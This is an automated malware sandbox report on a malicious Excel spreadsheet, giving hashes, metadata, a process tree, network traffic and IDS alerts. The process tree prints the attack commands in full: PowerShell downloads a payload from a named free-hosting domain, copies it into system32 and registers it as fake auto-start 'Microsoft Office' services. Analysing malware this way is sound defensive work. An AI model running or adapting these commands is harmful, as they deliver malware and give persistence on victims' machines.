File name: | 0b842ebeb65d74bdfd4e0d04dd9dabb2d3dac70e7f5471fb8fbabc60368b2868.xls |
Full analysis: | https://app.any.run/tasks/868e82cd-3c45-4305-a9b8-96429aee5f13 |
Verdict: | Malicious activity |
Analysis date: | April 25, 2019, 07:24:40 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Gear Capitan, Last Saved By: Pentesting, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Mar 8 07:16:16 2019, Last Saved Time/Date: Fri Mar 8 08:30:22 2019, Security: 0 |
MD5: | 11D675434F9AF160C74D43D9D2020EB9 |
SHA1: | F9D702DCE12B7FC6245F538C9CF7AFD0122C38E7 |
SHA256: | 0B842EBEB65D74BDFD4E0D04DD9DABB2D3DAC70E7F5471FB8FBABC60368B2868 |
SSDEEP: | 6144:DP+SKa85Y11//fs5cClfZw2gmVXqAMQO1WPz8aCLnhlO/QxexGFsiVjpLS:z12oRhYIV1S |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | Gear Capitan |
---|---|
LastModifiedBy: | Pentesting |
Software: | Microsoft Excel |
CreateDate: | 2019:03:08 07:16:16 |
ModifyDate: | 2019:03:08 08:30:22 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | START |
HeadingPairs: |
|
CompObjUserTypeLen: | 40 |
CompObjUserType: | Hoja de c?lculo de Microsoft Excel 2003 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2184 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
2232 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\Af.vbs" | C:\Windows\System32\WScript.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
4012 | cmd /c ""C:\Users\Public\Af2.bat" " | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2828 | powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/vbs.vbs','C:\Users\Public\vbs.vbs'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1344 | "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Af.bat | C:\Windows\System32\cmd.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 9009 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3640 | powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/OfficeUpdate.jpg','C:\Users\Public\OfficeUpdate.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2128 | timeout 5 | C:\Windows\system32\timeout.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1956 | xcopy /b/v/y C:\Users\Public\OfficeUpdate.exe C:\Windows\system32\ | C:\Windows\system32\xcopy.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Extended Copy Utility Exit code: 4 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2452 | SC.exe Create "Microsoft_Officex" binpath= "C:\Windows\system32\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Officex" | C:\Windows\system32\sc.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2528 | SC.exe Create "Microsoft_Office" binpath= "C:\Windows\SysWOW64\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Office" | C:\Windows\system32\sc.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2184 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR2ECD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DMCVTHSLHVDNBTTIMDRA.temp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab3E2F.tmp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar3E30.tmp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab3E40.tmp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar3E41.tmp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab4017.tmp | — | |
MD5:— | SHA256:— | |||
2828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar4018.tmp | — | |
MD5:— | SHA256:— | |||
3640 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UZ8916L5FR9CZY5KBY9J.temp | — | |
MD5:— | SHA256:— | |||
3640 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2828 | powershell.exe | GET | 200 | 8.248.123.254:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 55.6 Kb | whitelisted |
2828 | powershell.exe | GET | 200 | 8.248.123.254:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt | US | der | 914 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3640 | powershell.exe | 145.14.144.129:443 | zeroratchet.000webhostapp.com | Hostinger International Limited | US | shared |
2828 | powershell.exe | 145.14.144.129:443 | zeroratchet.000webhostapp.com | Hostinger International Limited | US | shared |
2828 | powershell.exe | 8.248.123.254:80 | www.download.windowsupdate.com | Level 3 Communications, Inc. | US | unknown |
Domain | IP | Reputation |
---|---|---|
zeroratchet.000webhostapp.com |
| shared |
www.download.windowsupdate.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Not Suspicious Traffic | ET INFO Observed Free Hosting Domain (*.000webhostapp .com in DNS Lookup) |
2828 | powershell.exe | Not Suspicious Traffic | ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com) |
3640 | powershell.exe | Not Suspicious Traffic | ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com) |